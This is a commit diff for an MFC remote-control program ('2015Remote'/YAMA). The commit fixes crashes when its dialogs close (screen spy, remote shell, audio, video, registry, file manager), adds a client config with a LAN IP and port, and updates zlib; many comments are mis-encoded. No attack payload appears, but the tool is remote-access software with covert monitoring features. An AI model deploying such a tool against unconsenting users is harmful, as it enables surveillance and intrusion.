彻底修复多次打开文件管理窗口崩溃的缺陷

1、在主对话框清理子窗口的资源（原先在各自的OnClose函数），通过CLOSE_DELETE_DLG控制。

2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法，解决多次打开崩溃。

3、更新服务端zlib版本为V1.2.11。（与客户端不同，因inflate_fast 崩溃，没有采用汇编）

ReadMe.txt

@@ -71,3 +71,11 @@
 4、退出时睡眠一会，等待服务端清理，发现这样可以避免退出时崩溃的概率。
 
 5、发布稍微稳定的版本V1.0.0.1。
+
+2019.1.13
+
+1、在主对话框清理子窗口的资源（原先在各自的OnClose函数），通过CLOSE_DELETE_DLG控制。
+
+2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法，解决多次打开崩溃。
+
+3、更新服务端zlib版本为V1.2.11。（与客户端不同，因inflate_fast 崩溃，没有采用汇编）

client/remote.ini

@@ -0,0 +1,4 @@
+# used by TestRun
+[remote]
+ip=192.168.104.250
+port=6895

server/2015Remote/2015Remote.cpp

@@ -32,7 +32,7 @@ long WINAPI whenbuged(_EXCEPTION_POINTERS *excp)
 		_mkdir(dump);
 	char curTime[64];// <20><>ǰdump<6D>ļ<EFBFBD>
 	time_t TIME(time(0));
-	strftime(curTime, 64, "\\remote_%Y-%m-%d %H%M%S.dmp", localtime(&TIME));
+	strftime(curTime, 64, "\\YAMA_%Y-%m-%d %H%M%S.dmp", localtime(&TIME));
 	strcat(dump, curTime);
 	HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 
 		FILE_ATTRIBUTE_NORMAL, NULL);

server/2015Remote/2015RemoteDlg.cpp

@@ -568,22 +568,6 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
 
 void CMy2015RemoteDlg::OnClose()
 {
-	bool bOpened = false;
-	for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); 
-		iter != v_FileDlg.end(); ++iter)
-	{
-		CFileManagerDlg *cur = *iter;
-		if (!cur->m_bIsClosed){
-			bOpened = true;
-			break;
-		}
-	}
-	if (bOpened)
-	{
-		MessageBox(_T("<EFBFBD><EFBFBD><EFBFBD>ȹر<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"));
-		return;
-	}
-
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
 	KillTimer(0);
 
@@ -716,7 +700,6 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
 VOID CMy2015RemoteDlg::OnOnlineFileManager()
 {
 	BYTE	bToken = COMMAND_LIST_DRIVE;  //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸      
-	//<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD>ϢCOMMAND_LIST_DRIVE <20>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_LIST_DRIVE
 
 	SendSelectedCommand(&bToken, sizeof(BYTE));
 }
@@ -1117,14 +1100,13 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 		case FILEMANAGER_DLG:
 			{
 				CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
-				::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0);
+				//delete Dlg; //<2F><><EFBFBD>⴦<EFBFBD><E2B4A6>
-				//delete Dlg; <20><><EFBFBD>⴦<EFBFBD><E2B4A6>
 				break;
 			}
 		case REGISTER_DLG:
 			{
 				CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg;
-				delete Dlg;
+				//delete Dlg; //<2F><><EFBFBD>⴦<EFBFBD><E2B4A6>
 				break;
 			}
 		}

server/2015Remote/AudioDlg.cpp

@@ -121,13 +121,16 @@ void CAudioDlg::OnReceiveComplete(void)
 void CAudioDlg::OnClose()
 {
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
-
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 
 	m_bIsWorking = FALSE;
 	WaitForSingleObject(m_hWorkThread, INFINITE);
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }

server/2015Remote/FileManagerDlg.cpp

@@ -44,9 +44,8 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
 		SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
 		);
 	m_hIcon = sfi.hIcon;
-	HIMAGELIST hImageList;
 	// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
-	hImageList = (HIMAGELIST)SHGetFileInfo
+	static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
 		(
 		NULL,
 		0,
@@ -54,10 +53,11 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
         sizeof(SHFILEINFO),
 		SHGFI_LARGEICON | SHGFI_SYSICONINDEX
 		);
-	m_pImageList_Large = CImageList::FromHandle(hImageList);
+	static CImageList *pLarge = CImageList::FromHandle(hImageList_Large);
+	m_pImageList_Large = pLarge;
 
 	// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
-	hImageList = (HIMAGELIST)SHGetFileInfo
+	static HIMAGELIST hImageList_Small = (HIMAGELIST)SHGetFileInfo
 		(
 		NULL,
 		0,
@@ -65,7 +65,8 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
         sizeof(SHFILEINFO),
 		SHGFI_SMALLICON | SHGFI_SYSICONINDEX
 		);
-	m_pImageList_Small = CImageList::FromHandle(hImageList);
+	static CImageList *pSmall = CImageList::FromHandle(hImageList_Small);
+	m_pImageList_Small = pSmall;
 
 	// <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0
 
@@ -878,12 +879,18 @@ void CFileManagerDlg::OnClose()
 {
 	// TODO: Add your message handler code here and/or call default
 	CoUninitialize();
-	m_pContext->m_Dialog = 0;
+
+#if CLOSE_DELETE_DLG
+	m_pContext->v1 = 0;
+#endif
+
 	closesocket(m_pContext->m_Socket);
 
 	CDialog::OnClose();
 	m_bIsClosed = true;
+#if CLOSE_DELETE_DLG
 	//delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD>
+#endif
 }
 
 CString CFileManagerDlg::GetParentDirectory(CString strPath)

server/2015Remote/RegisterDlg.cpp

@@ -107,12 +107,16 @@ BOOL CRegisterDlg::OnInitDialog()
 
 void CRegisterDlg::OnClose()
 {
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 	CDialog::OnClose();
 	m_bIsClosed = TRUE;
-	//delete this;
+#if CLOSE_DELETE_DLG
+	//delete this;//<2F>˴<EFBFBD>ͬ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+#endif
 }
 
 

server/2015Remote/ScreenSpyDlg.cpp

@@ -157,12 +157,16 @@ BOOL CScreenSpyDlg::OnInitDialog()
 
 VOID CScreenSpyDlg::OnClose()
 {
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }
 
 

server/2015Remote/ServicesDlg.cpp

@@ -110,11 +110,15 @@ int CServicesDlg::ShowServicesList(void)
 void CServicesDlg::OnClose()
 {
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }
 
 

server/2015Remote/ShellDlg.cpp

@@ -111,12 +111,16 @@ VOID CShellDlg::AddKeyBoardData(void)
 
 void CShellDlg::OnClose()
 {
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }
 
 

server/2015Remote/SystemDlg.cpp

@@ -157,11 +157,15 @@ void CSystemDlg::ShowProcessList(void)
 void CSystemDlg::OnClose()
 {
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }
 
 

server/2015Remote/TalkDlg.cpp

@@ -96,9 +96,13 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
 void CTalkDlg::OnClose()
 {
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }

server/2015Remote/VideoDlg.cpp

@@ -123,12 +123,16 @@ BOOL CVideoDlg::OnInitDialog()
 
 void CVideoDlg::OnClose()
 {
+#if CLOSE_DELETE_DLG
 	m_ContextObject->v1 = 0;
+#endif
 	CancelIo((HANDLE)m_ContextObject->sClientSocket);
 	closesocket(m_ContextObject->sClientSocket);
 
 	CDialog::OnClose();
+#if CLOSE_DELETE_DLG
 	delete this;
+#endif
 }
 
 void CVideoDlg::OnReceiveComplete(void)

server/2015Remote/stdafx.h

@@ -16,6 +16,9 @@
 // <20>Ƴ<EFBFBD><C6B3>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD>MFC<46>ؼ<EFBFBD><D8BC><EFBFBD>֧<EFBFBD>֣<EFBFBD><D6A3><EFBFBD>С<EFBFBD><D0A1>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
 
+// <20>رնԻ<D5B6><D4BB><EFBFBD>ʱɾ<CAB1><C9BE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD>
+#define CLOSE_DELETE_DLG 0
+
 // <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
 #include "vld.h"
 

server/2015Remote/zconf.h

@@ -1,102 +1,257 @@
 /* zconf.h -- configuration of the zlib compression library
- * Copyright (C) 1995-2002 Jean-loup Gailly.
+ * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler
  * For conditions of distribution and use, see copyright notice in zlib.h
  */
 
 /* @(#) $Id$ */
 
-#ifndef _ZCONF_H
+#ifndef ZCONF_H
-#define _ZCONF_H
+#define ZCONF_H
 
 /*
  * If you *really* need a unique prefix for all types and library functions,
  * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
+ * Even better than compiling with -DZ_PREFIX would be to use configure to set
+ * this permanently in zconf.h using "./configure --zprefix".
  */
-#ifdef Z_PREFIX
+#ifdef Z_PREFIX     /* may be set to #if 1 by ./configure */
-#  define deflateInit_	z_deflateInit_
+#  define Z_PREFIX_SET
-#  define deflate	z_deflate
-#  define deflateEnd	z_deflateEnd
-#  define inflateInit_ 	z_inflateInit_
-#  define inflate	z_inflate
-#  define inflateEnd	z_inflateEnd
-#  define deflateInit2_	z_deflateInit2_
-#  define deflateSetDictionary z_deflateSetDictionary
-#  define deflateCopy	z_deflateCopy
-#  define deflateReset	z_deflateReset
-#  define deflateParams	z_deflateParams
-#  define inflateInit2_	z_inflateInit2_
-#  define inflateSetDictionary z_inflateSetDictionary
-#  define inflateSync	z_inflateSync
-#  define inflateSyncPoint z_inflateSyncPoint
-#  define inflateReset	z_inflateReset
-#  define compress	z_compress
-#  define compress2	z_compress2
-#  define uncompress	z_uncompress
-#  define adler32	z_adler32
-#  define crc32		z_crc32
-#  define get_crc_table z_get_crc_table
 
-#  define Byte		z_Byte
+/* all linked symbols and init macros */
-#  define uInt		z_uInt
+#  define _dist_code            z__dist_code
-#  define uLong		z_uLong
+#  define _length_code          z__length_code
-#  define Bytef	        z_Bytef
+#  define _tr_align             z__tr_align
-#  define charf		z_charf
+#  define _tr_flush_bits        z__tr_flush_bits
-#  define intf		z_intf
+#  define _tr_flush_block       z__tr_flush_block
-#  define uIntf		z_uIntf
+#  define _tr_init              z__tr_init
-#  define uLongf	z_uLongf
+#  define _tr_stored_block      z__tr_stored_block
-#  define voidpf	z_voidpf
+#  define _tr_tally             z__tr_tally
-#  define voidp		z_voidp
+#  define adler32               z_adler32
-#endif
+#  define adler32_combine       z_adler32_combine
-
+#  define adler32_combine64     z_adler32_combine64
-#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
+#  define adler32_z             z_adler32_z
-#  define WIN32
+#  ifndef Z_SOLO
-#endif
+#    define compress              z_compress
-#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
+#    define compress2             z_compress2
-#  ifndef __32BIT__
+#    define compressBound         z_compressBound
-#    define __32BIT__
 #  endif
+#  define crc32                 z_crc32
+#  define crc32_combine         z_crc32_combine
+#  define crc32_combine64       z_crc32_combine64
+#  define crc32_z               z_crc32_z
+#  define deflate               z_deflate
+#  define deflateBound          z_deflateBound
+#  define deflateCopy           z_deflateCopy
+#  define deflateEnd            z_deflateEnd
+#  define deflateGetDictionary  z_deflateGetDictionary
+#  define deflateInit           z_deflateInit
+#  define deflateInit2          z_deflateInit2
+#  define deflateInit2_         z_deflateInit2_
+#  define deflateInit_          z_deflateInit_
+#  define deflateParams         z_deflateParams
+#  define deflatePending        z_deflatePending
+#  define deflatePrime          z_deflatePrime
+#  define deflateReset          z_deflateReset
+#  define deflateResetKeep      z_deflateResetKeep
+#  define deflateSetDictionary  z_deflateSetDictionary
+#  define deflateSetHeader      z_deflateSetHeader
+#  define deflateTune           z_deflateTune
+#  define deflate_copyright     z_deflate_copyright
+#  define get_crc_table         z_get_crc_table
+#  ifndef Z_SOLO
+#    define gz_error              z_gz_error
+#    define gz_intmax             z_gz_intmax
+#    define gz_strwinerror        z_gz_strwinerror
+#    define gzbuffer              z_gzbuffer
+#    define gzclearerr            z_gzclearerr
+#    define gzclose               z_gzclose
+#    define gzclose_r             z_gzclose_r
+#    define gzclose_w             z_gzclose_w
+#    define gzdirect              z_gzdirect
+#    define gzdopen               z_gzdopen
+#    define gzeof                 z_gzeof
+#    define gzerror               z_gzerror
+#    define gzflush               z_gzflush
+#    define gzfread               z_gzfread
+#    define gzfwrite              z_gzfwrite
+#    define gzgetc                z_gzgetc
+#    define gzgetc_               z_gzgetc_
+#    define gzgets                z_gzgets
+#    define gzoffset              z_gzoffset
+#    define gzoffset64            z_gzoffset64
+#    define gzopen                z_gzopen
+#    define gzopen64              z_gzopen64
+#    ifdef _WIN32
+#      define gzopen_w              z_gzopen_w
+#    endif
+#    define gzprintf              z_gzprintf
+#    define gzputc                z_gzputc
+#    define gzputs                z_gzputs
+#    define gzread                z_gzread
+#    define gzrewind              z_gzrewind
+#    define gzseek                z_gzseek
+#    define gzseek64              z_gzseek64
+#    define gzsetparams           z_gzsetparams
+#    define gztell                z_gztell
+#    define gztell64              z_gztell64
+#    define gzungetc              z_gzungetc
+#    define gzvprintf             z_gzvprintf
+#    define gzwrite               z_gzwrite
+#  endif
+#  define inflate               z_inflate
+#  define inflateBack           z_inflateBack
+#  define inflateBackEnd        z_inflateBackEnd
+#  define inflateBackInit       z_inflateBackInit
+#  define inflateBackInit_      z_inflateBackInit_
+#  define inflateCodesUsed      z_inflateCodesUsed
+#  define inflateCopy           z_inflateCopy
+#  define inflateEnd            z_inflateEnd
+#  define inflateGetDictionary  z_inflateGetDictionary
+#  define inflateGetHeader      z_inflateGetHeader
+#  define inflateInit           z_inflateInit
+#  define inflateInit2          z_inflateInit2
+#  define inflateInit2_         z_inflateInit2_
+#  define inflateInit_          z_inflateInit_
+#  define inflateMark           z_inflateMark
+#  define inflatePrime          z_inflatePrime
+#  define inflateReset          z_inflateReset
+#  define inflateReset2         z_inflateReset2
+#  define inflateResetKeep      z_inflateResetKeep
+#  define inflateSetDictionary  z_inflateSetDictionary
+#  define inflateSync           z_inflateSync
+#  define inflateSyncPoint      z_inflateSyncPoint
+#  define inflateUndermine      z_inflateUndermine
+#  define inflateValidate       z_inflateValidate
+#  define inflate_copyright     z_inflate_copyright
+#  define inflate_fast          z_inflate_fast
+#  define inflate_table         z_inflate_table
+#  ifndef Z_SOLO
+#    define uncompress            z_uncompress
+#    define uncompress2           z_uncompress2
+#  endif
+#  define zError                z_zError
+#  ifndef Z_SOLO
+#    define zcalloc               z_zcalloc
+#    define zcfree                z_zcfree
+#  endif
+#  define zlibCompileFlags      z_zlibCompileFlags
+#  define zlibVersion           z_zlibVersion
+
+/* all zlib typedefs in zlib.h and zconf.h */
+#  define Byte                  z_Byte
+#  define Bytef                 z_Bytef
+#  define alloc_func            z_alloc_func
+#  define charf                 z_charf
+#  define free_func             z_free_func
+#  ifndef Z_SOLO
+#    define gzFile                z_gzFile
+#  endif
+#  define gz_header             z_gz_header
+#  define gz_headerp            z_gz_headerp
+#  define in_func               z_in_func
+#  define intf                  z_intf
+#  define out_func              z_out_func
+#  define uInt                  z_uInt
+#  define uIntf                 z_uIntf
+#  define uLong                 z_uLong
+#  define uLongf                z_uLongf
+#  define voidp                 z_voidp
+#  define voidpc                z_voidpc
+#  define voidpf                z_voidpf
+
+/* all zlib structs in zlib.h and zconf.h */
+#  define gz_header_s           z_gz_header_s
+#  define internal_state        z_internal_state
+
 #endif
+
 #if defined(__MSDOS__) && !defined(MSDOS)
 #  define MSDOS
 #endif
+#if (defined(OS_2) || defined(__OS2__)) && !defined(OS2)
+#  define OS2
+#endif
+#if defined(_WINDOWS) && !defined(WINDOWS)
+#  define WINDOWS
+#endif
+#if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__)
+#  ifndef WIN32
+#    define WIN32
+#  endif
+#endif
+#if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32)
+#  if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__)
+#    ifndef SYS16BIT
+#      define SYS16BIT
+#    endif
+#  endif
+#endif
 
 /*
  * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
  * than 64k bytes at a time (needed on systems with 16-bit int).
  */
-#if defined(MSDOS) && !defined(__32BIT__)
+#ifdef SYS16BIT
 #  define MAXSEG_64K
 #endif
 #ifdef MSDOS
 #  define UNALIGNED_OK
 #endif
 
-#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32))  && !defined(STDC)
+#ifdef __STDC_VERSION__
-#  define STDC
-#endif
-#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
 #  ifndef STDC
 #    define STDC
 #  endif
+#  if __STDC_VERSION__ >= 199901L
+#    ifndef STDC99
+#      define STDC99
+#    endif
+#  endif
+#endif
+#if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus))
+#  define STDC
+#endif
+#if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__))
+#  define STDC
+#endif
+#if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32))
+#  define STDC
+#endif
+#if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__))
+#  define STDC
+#endif
+
+#if defined(__OS400__) && !defined(STDC)    /* iSeries (formerly AS/400). */
+#  define STDC
 #endif
 
 #ifndef STDC
 #  ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
-#    define const
+#    define const       /* note: need a more gentle solution here */
 #  endif
 #endif
 
-/* Some Mac compilers merge all .h files incorrectly: */
+#if defined(ZLIB_CONST) && !defined(z_const)
-#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
+#  define z_const const
-#  define NO_DUMMY_DECL
+#else
+#  define z_const
 #endif
 
-/* Old Borland C incorrectly complains about missing returns: */
+#ifdef Z_SOLO
-#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
+   typedef unsigned long z_size_t;
-#  define NEED_DUMMY_RETURN
+#else
+#  define z_longlong long long
+#  if defined(NO_SIZE_T)
+     typedef unsigned NO_SIZE_T z_size_t;
+#  elif defined(STDC)
+#    include <stddef.h>
+     typedef size_t z_size_t;
+#  else
+     typedef unsigned long z_size_t;
+#  endif
+#  undef z_longlong
 #endif
 
-
 /* Maximum value for memLevel in deflateInit2 */
 #ifndef MAX_MEM_LEVEL
 #  ifdef MAXSEG_64K
@@ -124,7 +279,7 @@
  Of course this will generally degrade compression (there's no free lunch).
 
    The memory requirements for inflate are (in bytes) 1 << windowBits
- that is, 32K for windowBits=15 (default value) plus a few kilobytes
+ that is, 32K for windowBits=15 (default value) plus about 7 kilobytes
  for small objects.
 */
 
@@ -138,79 +293,101 @@
 #  endif
 #endif
 
+#ifndef Z_ARG /* function prototypes for stdarg */
+#  if defined(STDC) || defined(Z_HAVE_STDARG_H)
+#    define Z_ARG(args)  args
+#  else
+#    define Z_ARG(args)  ()
+#  endif
+#endif
+
 /* The following definitions for FAR are needed only for MSDOS mixed
  * model programming (small or medium model with some far allocations).
  * This was tested only with MSC; for other MSDOS compilers you may have
  * to define NO_MEMCPY in zutil.h.  If you don't need the mixed model,
  * just define FAR to be empty.
  */
-#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
+#ifdef SYS16BIT
-   /* MSC small or medium model */
+#  if defined(M_I86SM) || defined(M_I86MM)
-#  define SMALL_MEDIUM
+     /* MSC small or medium model */
-#  ifdef _MSC_VER
-#    define FAR _far
-#  else
-#    define FAR far
-#  endif
-#endif
-#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
-#  ifndef __32BIT__
 #    define SMALL_MEDIUM
-#    define FAR _far
+#    ifdef _MSC_VER
+#      define FAR _far
+#    else
+#      define FAR far
+#    endif
+#  endif
+#  if (defined(__SMALL__) || defined(__MEDIUM__))
+     /* Turbo C small or medium model */
+#    define SMALL_MEDIUM
+#    ifdef __BORLANDC__
+#      define FAR _far
+#    else
+#      define FAR far
+#    endif
 #  endif
 #endif
 
-/* Compile with -DZLIB_DLL for Windows DLL support */
+#if defined(WINDOWS) || defined(WIN32)
-#if defined(ZLIB_DLL)
+   /* If building or using zlib as a DLL, define ZLIB_DLL.
-#  if defined(_WINDOWS) || defined(WINDOWS)
+    * This is not mandatory, but it offers a little performance increase.
+    */
+#  ifdef ZLIB_DLL
+#    if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500))
+#      ifdef ZLIB_INTERNAL
+#        define ZEXTERN extern __declspec(dllexport)
+#      else
+#        define ZEXTERN extern __declspec(dllimport)
+#      endif
+#    endif
+#  endif  /* ZLIB_DLL */
+   /* If building or using zlib with the WINAPI/WINAPIV calling convention,
+    * define ZLIB_WINAPI.
+    * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI.
+    */
+#  ifdef ZLIB_WINAPI
 #    ifdef FAR
 #      undef FAR
 #    endif
 #    include <windows.h>
-#    define ZEXPORT  WINAPI
+     /* No need for _export, use ZLIB.DEF instead. */
+     /* For complete Windows compatibility, use WINAPI, not __stdcall. */
+#    define ZEXPORT WINAPI
 #    ifdef WIN32
-#      define ZEXPORTVA  WINAPIV
+#      define ZEXPORTVA WINAPIV
 #    else
-#      define ZEXPORTVA  FAR _cdecl _export
+#      define ZEXPORTVA FAR CDECL
-#    endif
-#  endif
-#  if defined (__BORLANDC__)
-#    if (__BORLANDC__ >= 0x0500) && defined (WIN32)
-#      include <windows.h>
-#      define ZEXPORT __declspec(dllexport) WINAPI
-#      define ZEXPORTRVA __declspec(dllexport) WINAPIV
-#    else
-#      if defined (_Windows) && defined (__DLL__)
-#        define ZEXPORT _export
-#        define ZEXPORTVA _export
-#      endif
 #    endif
 #  endif
 #endif
 
 #if defined (__BEOS__)
-#  if defined (ZLIB_DLL)
+#  ifdef ZLIB_DLL
-#    define ZEXTERN extern __declspec(dllexport)
+#    ifdef ZLIB_INTERNAL
-#  else
+#      define ZEXPORT   __declspec(dllexport)
-#    define ZEXTERN extern __declspec(dllimport)
+#      define ZEXPORTVA __declspec(dllexport)
+#    else
+#      define ZEXPORT   __declspec(dllimport)
+#      define ZEXPORTVA __declspec(dllimport)
+#    endif
 #  endif
 #endif
 
+#ifndef ZEXTERN
+#  define ZEXTERN extern
+#endif
 #ifndef ZEXPORT
 #  define ZEXPORT
 #endif
 #ifndef ZEXPORTVA
 #  define ZEXPORTVA
 #endif
-#ifndef ZEXTERN
-#  define ZEXTERN extern
-#endif
 
 #ifndef FAR
-#   define FAR
+#  define FAR
 #endif
 
-#if !defined(MACOS) && !defined(TARGET_OS_MAC)
+#if !defined(__MACTYPES__)
 typedef unsigned char  Byte;  /* 8 bits */
 #endif
 typedef unsigned int   uInt;  /* 16 bits or more */
@@ -228,52 +405,130 @@ typedef uInt  FAR uIntf;
 typedef uLong FAR uLongf;
 
 #ifdef STDC
-   typedef void FAR *voidpf;
+   typedef void const *voidpc;
-   typedef void     *voidp;
+   typedef void FAR   *voidpf;
+   typedef void       *voidp;
 #else
-   typedef Byte FAR *voidpf;
+   typedef Byte const *voidpc;
-   typedef Byte     *voidp;
+   typedef Byte FAR   *voidpf;
+   typedef Byte       *voidp;
 #endif
 
-#ifdef HAVE_UNISTD_H
+#if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC)
-#  include <sys/types.h> /* for off_t */
+#  include <limits.h>
-#  include <unistd.h>    /* for SEEK_* and off_t */
+#  if (UINT_MAX == 0xffffffffUL)
-#  define z_off_t  off_t
+#    define Z_U4 unsigned
+#  elif (ULONG_MAX == 0xffffffffUL)
+#    define Z_U4 unsigned long
+#  elif (USHRT_MAX == 0xffffffffUL)
+#    define Z_U4 unsigned short
+#  endif
 #endif
-#ifndef SEEK_SET
+
+#ifdef Z_U4
+   typedef Z_U4 z_crc_t;
+#else
+   typedef unsigned long z_crc_t;
+#endif
+
+#ifdef HAVE_UNISTD_H    /* may be set to #if 1 by ./configure */
+#  define Z_HAVE_UNISTD_H
+#endif
+
+#ifdef HAVE_STDARG_H    /* may be set to #if 1 by ./configure */
+#  define Z_HAVE_STDARG_H
+#endif
+
+#ifdef STDC
+#  ifndef Z_SOLO
+#    include <sys/types.h>      /* for off_t */
+#  endif
+#endif
+
